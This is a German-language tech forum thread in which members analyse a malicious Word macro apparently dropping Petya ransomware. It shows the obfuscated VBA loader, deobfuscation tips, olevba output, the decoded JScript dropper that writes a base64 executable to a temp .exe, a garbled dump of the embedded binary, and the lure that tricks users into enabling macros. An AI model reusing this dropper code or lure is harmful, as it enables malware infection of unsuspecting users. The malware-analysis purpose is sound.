• Hallo liebe Userinnen und User,

    nach bereits längeren Planungen und Vorbereitungen sind wir nun von vBulletin auf Xenforo umgestiegen. Die Umstellung musste leider aufgrund der Serverprobleme der letzten Tage notgedrungen vorverlegt werden. Das neue Forum ist soweit voll funktionsfähig, allerdings sind noch nicht alle der gewohnten Funktionen vorhanden. Nach Möglichkeit werden wir sie in den nächsten Wochen nachrüsten. Dafür sollte es nun einige der Probleme lösen, die wir in den letzten Tagen, Wochen und Monaten hatten. Auch der Server ist nun potenter als bei unserem alten Hoster, wodurch wir nun langfristig den Tank mit Bytes vollgetankt haben.

    Anfangs mag die neue Boardsoftware etwas ungewohnt sein, aber man findet sich recht schnell ein. Wir wissen, dass ihr alle Gewohnheitstiere seid, aber gebt dem neuen Board eine Chance.
    Sollte etwas der neuen oder auch gewohnten Funktionen unklar sein, könnt ihr den "Wo issn da der Button zu"-Thread im Feedback nutzen. Bugs meldet ihr bitte im Bugtracker, es wird sicher welche geben die uns noch nicht aufgefallen sind. Ich werde das dann versuchen, halbwegs im Startbeitrag übersichtlich zu halten, was an Arbeit noch aussteht.

    Neu ist, dass die Boardsoftware deutlich besser für Mobiltelefone und diverse Endgeräte geeignet ist und nun auch im mobilen Style alle Funktionen verfügbar sind. Am Desktop findet ihr oben rechts sowohl den Umschalter zwischen hellem und dunklem Style. Am Handy ist der Hell-/Dunkelschalter am Ende der Seite. Damit sollte zukünftig jeder sein Board so konfigurieren können, wie es ihm am liebsten ist.


    Die restlichen Funktionen sollten eigentlich soweit wie gewohnt funktionieren. Einfach mal ein wenig damit spielen oder bei Unklarheiten im Thread nachfragen. Viel Spaß im ngb 2.0.

Malware-Analyse Office-Makro (.Eval)

sia

gesperrt

Registriert
26 März 2015
Beiträge
5.931
Ort
FFM (NSFW)
Hi Leute,

Bin nicht so bewandert in Makroprogrammierung. Jetzt habe ich von einem Kunden eine Word-Datei mit Autoexec-Makro und beinhaltetem Petya-Verschlüsselungstrojaner bekommen, die ich gerne analysieren würde.

Das Ding ist obfuskiert, am Ende steht aber folgendes (Auszug):

[src=vb]tqsBrqX = tqsBrqX & VuJwoP & GrzVWeo & YpHJfWj & zTDaJL & LkBEeIP & lObaHbC & juFISL & qsfAzIE & JrryUnj & kiCIUoj & EsjXRQ & erwzJgl & ViNgEM & TUgCwkh & HNePqT & KlLxJE & xArgJpe & kfvRYD & XMInbv & SzlkmkM & QhIcoiD & degdXdK & XNSdXVA & YzjgifX & pNHJYaG
tqsBrqX = tqsBrqX & YfvnchT & DgxZpgX & xnxVwOu & SqHVfFZ & FbfdIW & LoxbrYg & DHCSCJ & HynZdxQ & zQXrcy & vvonnKw & XHjDJY & ynRWiOt & QndzxF & tIMbnG & CYHfBY & khWLMH & nsWnBy & FhRKmj & BzWFfc & TBvkRFn & HwStQp & mJpbYz & amGEdS & YlIvaU & gzGKEuE
tqsBrqX = tqsBrqX & ZqoQkYA & QrxaEM & pcFkIfD & euASfHB
Set oScript = CreateObject(cEZpXE & qhhxWXI & KWpmlN & UvkGWd & tHfshP & BYAetxX & GArWHm & ViSIfA & Vqzljrl & YxDYnZZ)
oScript.Language = KwxmjUL & lOngDxQ & LsGpjv
oScript.Eval (tqsBrqX)
End Sub[/src]

Kann ich .Eval einfach durch was anderes ersetzen, um den tatsächlichen Code zu bekommen?

EDIT: Gibt es eine (Windows-)Software, die schaut, welche Dateien derzeit verändert werden? Process Explorer kann sich ja glaube ich nur an Office selbst "hängen". Bin leider etwas eingerostet in den Themen Programmierung, Hacking und Malware ;)
 

Jester

★★★★☆ (Kasparski)

Registriert
1 Dez. 2014
Beiträge
6.066
Ort
Code Azure
Rein theoretisch oScript.eval(tqsBrqX) ersetzen durch alert(tqsBrqX).
Sollte klappen, so lange es JScript oder JS ist.


Aber das ist KEIN Petya Sample, das ist nur der Dropper/Loader.

Word Macro überlesen :rolleyes:, dann:
MsgBox tqsBrqX, VBOKOnly, "Decoded"

Zur Sicherheit kannst Du Dir vorher die Sprache ausgeben lassen:
alert(oScript.Language) bzw.
MsgBox oScript.Language, VBOKOnly, "Skriptsprache"
 
Zuletzt bearbeitet:

sia

gesperrt

Registriert
26 März 2015
Beiträge
5.931
Ort
FFM (NSFW)
  • Thread Starter Thread Starter
  • #4
Das Binary ist auch in der DOCM, aber ich würde gerne wissen, was das Makro bzw. die davon geladene DLL mit dem System anstellt. Gibt ja mehrere Varianten von Petya (rot, grün, next gen).
 

drfuture

Zeitreisender
Teammitglied

Registriert
14 Juli 2013
Beiträge
8.761
Ort
in der Zukunft
Mir ist zufällig so eine Datei in die Hände geraten. :unknown:

Ich habe die mal auseinander genommen:

Zum einen ein Tipp für die die es noch nicht wussten - doc* / xls* usw. sind ZIP-Dateien unter falschem Namen.
Das heißt man kann die Datei schlicht entpacken um sich das Dokument bzw. dessen Struktur anzuschauen.
Dabei habe ich zumindest sehen können das es sich "nur" um ein normales Word-Dokument und ein angehängtes Makro handelt.
ein OLE-Objekt oder andere eingebettete Objekte wie direkt eine .dll, ein .pdf usw.

Nun nehmen wir uns dem Makro an. Dafür gibt es ein wunderbares kleines Pyton-Tool:
https://bitbucket.org/decalage/oletools/wiki/olevba

Das hat folgendes Ergeben:
[src=bash]
+------------+----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+----------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| Suspicious | Open | May open a file |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | WScript.Shell | May run an executable file or a system |
| | | command |
| Suspicious | Run | May run an executable file or a system |
| | | command |
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | ADODB.Stream | May create a text file |
| Suspicious | SaveToFile | May create a text file |
| Suspicious | Write | May write to a file (if combined with |
| | | Open) |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may |
| | | be used to obfuscate strings (option |
| | | --decode to see all) |
| Suspicious | Dridex Strings | Dridex-encoded strings were detected, |
| | | may be used to obfuscate strings |
| | | (option --decode to see all) |
| Hex String | H7Fg | 48374667 |
+------------+----------------+-----------------------------------------+
[/src]

Das Bedeutet es gibt ein Makro das irgendwie verschleiert ist (Dridex Strings, Hex Strings) welches beim öffnen (Autostart) versucht wird zu starten (Was aber schon in der Default-Einstellung von Word nicht passiert, die Angreifer haben dafür aber wunderbar simple Methoden das das Makro trotzdem ausgeführt wird, dazu später mehr)

Zusätzlich zur Analyse lässt sich der Vollständige Code des Makros ausgeben.
Den Code konnte ich nirgends wirklich posten - daher als .txt im Anhang.

Den Code habe ich dann in eine neue Office-Datei eingefügt. In diesem Fall - Schlicht weil ich dort Makros mehr gewöhnt bin eine Excel-Datei.
In Excel mit Alt+F11 in die VBA Entwicklungsumgebung. Dort ein neues Modul anlegen und den Code hinein kopieren.

Am Ende des Scriptes habe ich die letzten Zeilen so abgewandelt das der Code nicht ausgeführt wird sondern ausgegeben wird.
Statt die Verschleiherung manuell rückgängig zu machen - kann man ja wenn möglich den Code des Angreifers dafür verwenden ;D-

[src=vb]
Range("A1").Select
ActiveCell.FormulaR1C1 = tqsBrqX
Range("A2").Select
ActiveCell.FormulaR1C1 = cEZpXE & qhhxWXI & KWpmlN & UvkGWd & tHfshP & BYAetxX & GArWHm & ViSIfA & Vqzljrl & YxDYnZZ
Range("A3").Select
ActiveCell.FormulaR1C1 = KwxmjUL & lOngDxQ & LsGpjv
[/src]

Danach steht der gesamte Code (In so einer Excel-Zelle ist genug Platz für den gesamten Code) in Excel zu sehen.
Den DeObfuscated Code dann in die Routine von Oben eingefügt zeigt den "Virus" in voller Pracht.
den Binär-Code habe ich noch nicht weiter untersucht - mal schauen :)

Code:
[src=vb]
Set oScript = CreateObject(MSScriptControl.ScriptControl)
oScript.Language = "Jscript"
oScript.Eval (siehe unten)
var fso = new ActiveXObject('Scripting.FileSystemObject');
var tmp_path = fso.GetSpecialFolder(2) + '\\' + fso.GetTempName();
tmp_path = tmp_path.replace('.tmp', '.exe');
var stream = new ActiveXObject('ADODB.Stream');
stream.Open();
stream.Type = 1;
stream.Position = 0;
var xmlObj = new ActiveXObject('MSXml2.DOMDocument');
var docElement = xmlObj.createElement('Base64Data');
docElement.dataType = 'bin.base64';
docElement.text = '';
docElement.text = 'MZ@ !L!This program cannot be run in DOS mode.

$}%ovovovvov@vov@vov@vov@vovnvov@vov@vov@vovRichovPELR"@P@@' K@.text>@ `.data4YP,D@.idataTp@@.rsrc,jhpI^^O*^uVhpI^m@@.reloc^^`@B7AD@(@N@@@@6@@&@A@{@@@)@D@_@z@@@@@@y@@k@@@a@@@^@1@@y@@@@@@8@ D!DR#TT0zDzDFF,jhpI^^O*^uVhpI^m#EOzFRaw argsFunc infoSourceAddrsHeadingsNonvolatile regsFrame numsSource argsMoreLessCopy stack to clipboardToolbarWindow32WARNING:0x`%I64xLISTBOXg 0x%I64xb$B[F@Z@iA@PAA@3jAsjA@7A=AGA@@fApAfAO A@@2@s@@@ A@ As!As!As@@=AjAjA@@ A@@?@GA@7AGA@@#A
%A0@jA@&Start&Prev&Next&Au,jhpI^^O*^uVhpI^mto refresh&RefreshA&dd to Recent CommandsReBarWindow32COMBOBOXCommand:StartPrevNext}@W@-B+@@@@K@@@@BBQAYA@B@6B@@@@@@ A A AX@X@P@C@@1@@@@ A@>@o"Ap@@NBGA@@#A&@A&AB@@7Awindbg ANSI Command Tree 1.0windbg ANSI Command Tree 1.1bodytitled@@iA;jCPAAiA3jAsjA@7A=AGAQAYAfApAfAO A@@@@@@ A A A@s!AxjC!A=AjAjA@@,jhpI^^O*^uVhpI^m A@@o"AjC@@GAz"A"A#A
%AA&AtkC@ ACA@&Add to command output&Clear command output&Open selected source fileSet &selection to user colorsChoose text color and &recolor selection...&Word wrap&Mark current location&Go to markSTATICDebuggee not connectedDebuggee is running...Input>w%ws
MarkerUsage: .open ,jhpI^^O*^uVhpI^m[<opts>] <filename>
Invalid module address expression
Unable to find '%s'
.beepwindbg> %s%c%s
.browse.cls/s.cmdtree.flash_on_breakon1offFlash iconic frame window on break: %s
.force_win_path.force_win_path requires an argument
Force window path to '%s'
Under window does not have a valid file pa,jhpI^^O*^uVhpI^mth
.hhdbgerr.hold_outputHold output until event: %s
.idle_cmdOut of memory
No idle command
Execute when idle: %s
.lsrcpath.lsrcpath+.lsrcfix.lsrcfix+Local source search path is: %s
lsrcpath and lsrcfix are only enabled for remote clients
.open.scroll_prefs%i%iInvalid scroll preferences
Scroll ,jhpI^^O*^uVhpI^mpreferences: %d line(s) before, %d line(s) after
.serverServer '%s'.sound_notify.suspend_uiNon-command-window refresh: %s
.write_cmd_histUsage: .write_cmd_hist <filename>
Wrote command history to '%s'
Unable to write command history
.wtitleUsage: .wtitle <title_string>


@@X@@-@@@P@@
@@L@n@QAYA@@,jhpI^^O*^uVhpI^m@@@@@t@@@\@ A As!As!A@@=A @i@@@@@ @o"A;@AkAGA@A#A
%AAA@ToolbarDock windowMove to new dockSet as tab-dock target for window typeAlways floatingMove with frameProperties...HelpClose Ctrl+F4OpenOpen in New WindowCopy Commandbc %dbp %sSysTabControl32tooltips_class32 - &Windows...UndockD,jhpI^^O*^uVhpI^mock%s %suiA@iAPAPAAiA3jAsjA@7A=AGAQAYAfApAfAO A@@@@@@ A A As!As!A!A!A=AjAjA@@ A@@o"AGA@7AGAz"A"A#A
%AA&AjA@DDDDDDDD(AA@APAPAAAA
A@7A=AGAQAYAfApAfAO A@@@@@@ A A As!As!A!A!A=A7A!A@@ A@@o"AGA@7AGAz"A"A#A
%AA&A7A@Customize...RegValueRetrievingError%lf%I64d%x`%08x,jhpI^^O*^uVhpI^m%I64xUnknownd@lAfAAYAAAA A@7A=AGA@eAfApAfAO A@@@*oA@@ A A As!As!AoApA=AjA'qA@@ A@@o"AAPqA7AGAz"A"A#A
%AA&A;A@YANAAAwAKAxAsAPrevious pageNext pageGo to current addressDisassemble before current instructionHighlight instructions from current source lineShow source line for each instructionShow source fil,jhpI^^O*^uVhpI^me for each instructionnt!DbgBreakPointWithStatus@$scopeipEDITOffset:Previousdisassembly

o{A{A-BBBBiA3jA3B!AsBBBQAYA@B@6B@@AA@@ A8~A As!As!AZAsA=AjAA@@ AA[Ao"AAANBGAuAA#A
%AAB@@VASet instruction pointer to current line Ctrl+Shift+IEdit this file...CopyCopy file path to clipboardEval,jhpI^^O*^uVhpI^muate selection Ctrl+Shift+VDisplay selected type Ctrl+Shift+YOpen memory window for selectionAdd selection to watch windowDisassemble at current lineSelect source language...!@@masm(`%s%s:%d+`)@@masm(`%s:%d+`)bm %s@@masm(@!"%s")@@masm(`%s!%s:%d+`)bu %sr$ip = @@masm(`%s:%d+`)?? /l 2000 /u /s /q /p /E /C %,jhpI^^O*^uVhpI^ms:
"%s"
+0x%I64xo{A@-BBBBiA3jA3B!AsBBBQAYA@B@6B@@AAAA]AAAAAA
A=AjA@@@ A@AAo"AAA'AGAfAAA2AA&AAAA>ADock %d - WinDbg DockAAhA]A{A@SysListView32@@fAAYAAAA A@7A=AGA@eAfApAfAO A@@@@@@ A A As!As!AAA=AjAjA@@ A@@o"AAA7AGAz"A"A#A
%AA&A;A@YANAAACAKAiAsA<out of memory ,jhpI^^O*^uVhpI^mfor DML conversion>ERROR: Symbol type name overflow
struct class union ERROR: Symbol is not in memory
0x%I64xERROR: Symbol location overflow
windbg> [%s] %s
EndSessionCommand Line: Engine CreateClientEngine QueryInterfaceEngine local clientEngine output capture clientEngine callbacksEngine CreateSymbolGroupEngine GetScopeSymbolGroupEngine ,jhpI^^O*^uVhpI^mGetRadixDebug target initialization failed, 0x%X
Unable to get debuggee pointer size, 0x%X
?Err*BUSY*Unable to get debuggee type, 0x%X
Unable to get execution status, 0x%X
WaitForEvent failed
Engine thread wait failed, 0x%X
&<>"kX.THtMDN(g9hH}J% tTS)N3I2V:N]/P6Ou/AK,jhpI^^O*^uVhpI^mmRr~O(>_i^G~XB(AA2AiAGAKAmAAANBAGAA(AuA>A A(AAeAA,P6Isl-A(AAAAAA(AAxArgVDJ%+eQ<cL&N4^vL%0*I64d% *I64d% I64d%0*.*I64o%0*.*I64u%0*.*I64x%02.2x% *.*I64o% *.*I64u% *.*I64x%I64o%I64u% 12.6e% 21.14leASCIIUnicodeBitByteShortShort HexShort UnsignedLongLong HexLong UnsignedQuadQua,jhpI^^O*^uVhpI^md HexQuad UnsignedReal (32-bit)Real (64-bit)Real (10-byte)Real (16-byte)Pointer and SymbolMemory Options%dInternalIsaEisaMicroChannelTurboChannelPCIBusVMEBusNuBusPCMCIABusCBusMPIBusMPSABusProcessorInternalInternalPowerBusPNPISABusPNPBusIntel VM Control StructureCmosEisaConfigurat,jhpI^^O*^uVhpI^mionPosCbusConfigurationPCIConfigurationVMEConfigurationNuBusConfigurationPCMCIAConfigurationMPIConfigurationMPSAConfigurationPNPISAConfigurationSgiInternalConfigurationVirtual:Physical:Control:I/O:MSR:Bus data:&Previous page&Next page&Auto-fit columns Display format:??o{A+B-BBBBiA3jA3B!As,jhpI^^O*^uVhpI^mBBBQAYA@B@6B!A3BBB@
@ A A As!As!ABB=AjAB@@ ABBo"AYB BNBGA$B$B#A
%A_%BB@@7A$;@8;@L;@`;@l;@x;@CommandIdEnabled: Unhandled %d (%X)
f@h@i@j@k@l@m@t@u@v@y@@@@@@@@@@@@@@@@@@@HAJAAAAAAAAAAAAAAAAAgggAAAAAAA[B@:Bd:B:B`;B=B>BI>Bz>Benableddisabledoutputignorehandlednot ,jhpI^^O*^uVhpI^mhandledNoneCOFFCodeViewPDBExportDeferredSymDIA<No workspace>Browse for Path;Pending: ~%d%s~%u%sbu %s "j(%s) '.echo \"Breakpoint hit, condition %s\"' ; 'gc'"%sbu %sbc *b%c %dNo servers registered,Server=Connect to Remote Stub ServerCreateUiInterfacesUnable to recreate UI interfaces
.reload,jhpI^^O*^uVhpI^m_NT_DEBUG_PORTcom1_NT_DEBUG_BAUD_RATE115200f0_NT_DEBUG_1394_CHANNEL_NT_DEBUG_USB2_TARGETNAME_NT_DEBUG_NET_PORT50000_NT_DEBUG_NET_KEYKernel DebuggingUI GetSourcePathUI SetSourcePathSystem ProcessCorrupted Process Name0x%x %s%4d %sIncomplete process list0x%x%4dAccess denied, check debug pri,jhpI^^O*^uVhpI^mvilegeError 0x%08XUnable to connect to process serverUnable to get process IDs<Error 0x%08X><No information>%u - %s - %s%s - %s - %sException %08X - %s - %s%xNameEndTimestampChecksumSymbolsSymbol fileUnable to retrieve module list<Unable to get name><Unloaded>Invalid
(%08x)Unavailable%,jhpI^^O*^uVhpI^m08x.reload /f @"%s"Software\Microsoft\Windbg\Workspaces\%s%s - %sOpen WorkspaceSave Workspace As%sWorkspace '%s'Line %d0x%016I64x - Source file %s, line %dFor inline function: %s [%s + %u]>@>@>@?@?@?@0?@8?@>@>@l>@|>@>@>@.echotimestamps %dBad argument to sound_notify
Sound notification: system e,jhpI^^O*^uVhpI^mvent
Sound notification: file '%s'
Sound notification disabled
"?? /sdt@@masm(@$ip)ONOFFVerbose mode %s.
Engine is busy, try again
Unable to show version information, 0x%X
.restart.restart /fgghgng %stpgul+tl-tUnable to spawn debugger, %s
Debugger spawned, connect with
"%s"
cycle_s,jhpI^^O*^uVhpI^mpeedNOT breakinbreakinWill %s at next boot.
resyncProcessing initial command '%s'
<%s>%d %03d:%x d@FBiA;jCPAAiA3jAsjA@7A=AGAQAYAfApAfAO A@@@@@@ A A As!As!AxjC!A=AjAjA@@ A@@o"AjCB7AGAz"A"A#A
%AA&AtkC@BCABAssociate with file...End file assocation%s (%s)G]o{A@-BBBBiA3jA3B!AsBBBQAYA@B@6B@,jhpI^^O*^uVhpI^m@BAB@@ A A ABs!A2B!A=AjAjA@@ A@@o"AB@BGABB#A
%A$BB@@7AB@-BBBBiA3jA3B!AsBBBQAYA@B@6B@@@@@@ A A As!As!AFB!A=AjAjA@@ A@@o"AB@NBGAz"A"A#A
%AA&AB@@7A(@@)@@c++(&abstractenumstackallocaseventnamespacestaticbaseexplicitexternnullstructbreakswitchfinallyoperatorthisc,jhpI^^O*^uVhpI^masefixedoutthrowcatchoverrideforparamstryforeachprivateclassgotoprotectedconstifpubliccontinueimplicitreadonlyinrefunsafedefaultreturndelegateinterfaceusingdointernalsealedvirtualvoidelselockwhilecharbytesbyteshortushortintuintlongulongdoublefloatstring,jhpI^^O*^uVhpI^mboolobjectnewsizeoftypeofischeckedunchecked__cdecl__stdcall__fastcalltruefalse__ecount__bcount__xcount__in__in_ecount__in_bcount__in_xcount__out__out_ecount__out_bcount__out_xcount__out_ecount_part__out_bcount_part__out_xcount_part__out_ecount_full__out_bcount_full__out_xcount_fu,jhpI^^O*^uVhpI^mll__inout__inout_ecount__inout_bcount__inout_xcount__inout_ecount_part__inout_bcount_part__inout_xcount_part__inout_ecount_full__inout_bcount_full__inout_xcount_full__ecount_opt__bcount_opt__xcount_opt__in_opt__in_ecount_opt__in_bcount_opt__in_xcount_opt__out_opt__out_ecount_opt__out_bcount_opt,jhpI^^O*^uVhpI^m__
out_xcount_opt__out_ecount_part_opt__out_bcount_part_opt__out_xcount_part_opt__out_ecount_full_opt__out_bcount_full_opt__out_xcount_full_opt__inout_opt__inout_ecount_opt__inout_bcount_opt__inout_xcount_opt__inout_ecount_part_opt__inout_bcount_part_opt__inout_xcount_part_opt__inout_ecount_full_opt__inout,jhpI^^O*^uVhpI^m_bcount_full_opt__inout_xcount_full_opt__deref_ecount__deref_bcount__deref_xcount__deref_in__deref_in_ecount__deref_in_bcount__deref_in_xcount__deref_out__deref_out_ecount__deref_out_bcount__deref_out_xcount__deref_out_ecount_part__deref_out_bcount_part__deref_out_xcount_part__deref_out_ecount_full__,jhpI^^O*^uVhpI^mderef_out_bcount_full__deref_out_xcount_full__deref_inout__deref_inout_ecount__deref_inout_bcount__deref_inout_xcount__deref_inout_ecount_part__deref_inout_bcount_part__deref_inout_xcount_part__deref_inout_ecount_full__deref_inout_bcount_full__deref_inout_xcount_full__deref_ecount_opt__deref_bcount_opt__d,jhpI^^O*^uVhpI^meref_xcount_opt__deref_in_opt__deref_in_ecount_opt__deref_in_
bcount_opt__deref_in_xcount_opt__deref_out_opt__deref_out_ecount_opt__deref_out_bcount_opt__deref_out_xcount_opt__deref_out_ecount_part_opt__deref_out_bcount_part_opt__deref_out_xcount_part_opt__deref_out_ecount_full_opt__deref_out_bcount_full_op,jhpI^^O*^uVhpI^mt__deref_out_xcount_full_opt__deref_inout_opt__deref_inout_ecount_opt__deref_inout_bcount_opt__deref_inout_xcount_opt__deref_inout_ecount_part_opt__deref_inout_bcount_part_opt__deref_inout_xcount_part_opt__deref_inout_ecount_full_opt__deref_inout_bcount_full_opt
[/src]

Zum Thema "Wie bekomme ich Anwender zum Start des Makros". Ganz beliebt ist einfach merkwürdige Zeichen in das Dokument zu schreiben die keiner Lesen kann (irgendwelche Windings)
Und eine zu Meist sehr gut lokalisiertes Bild mit einem ähnlichen Text "Ihr Word is veraltet, um den wichtigen Text korrekt anzuzeigen und ihr Programm automatisch zu aktualisieren drücken sie Hier" Mit Pfeil und Bild vom Makro-Button.
Leider funktioniert das augenscheinlich ziemlich gut.
 

Anhänge

  • source.txt
    1 MB · Aufrufe: 157
Oben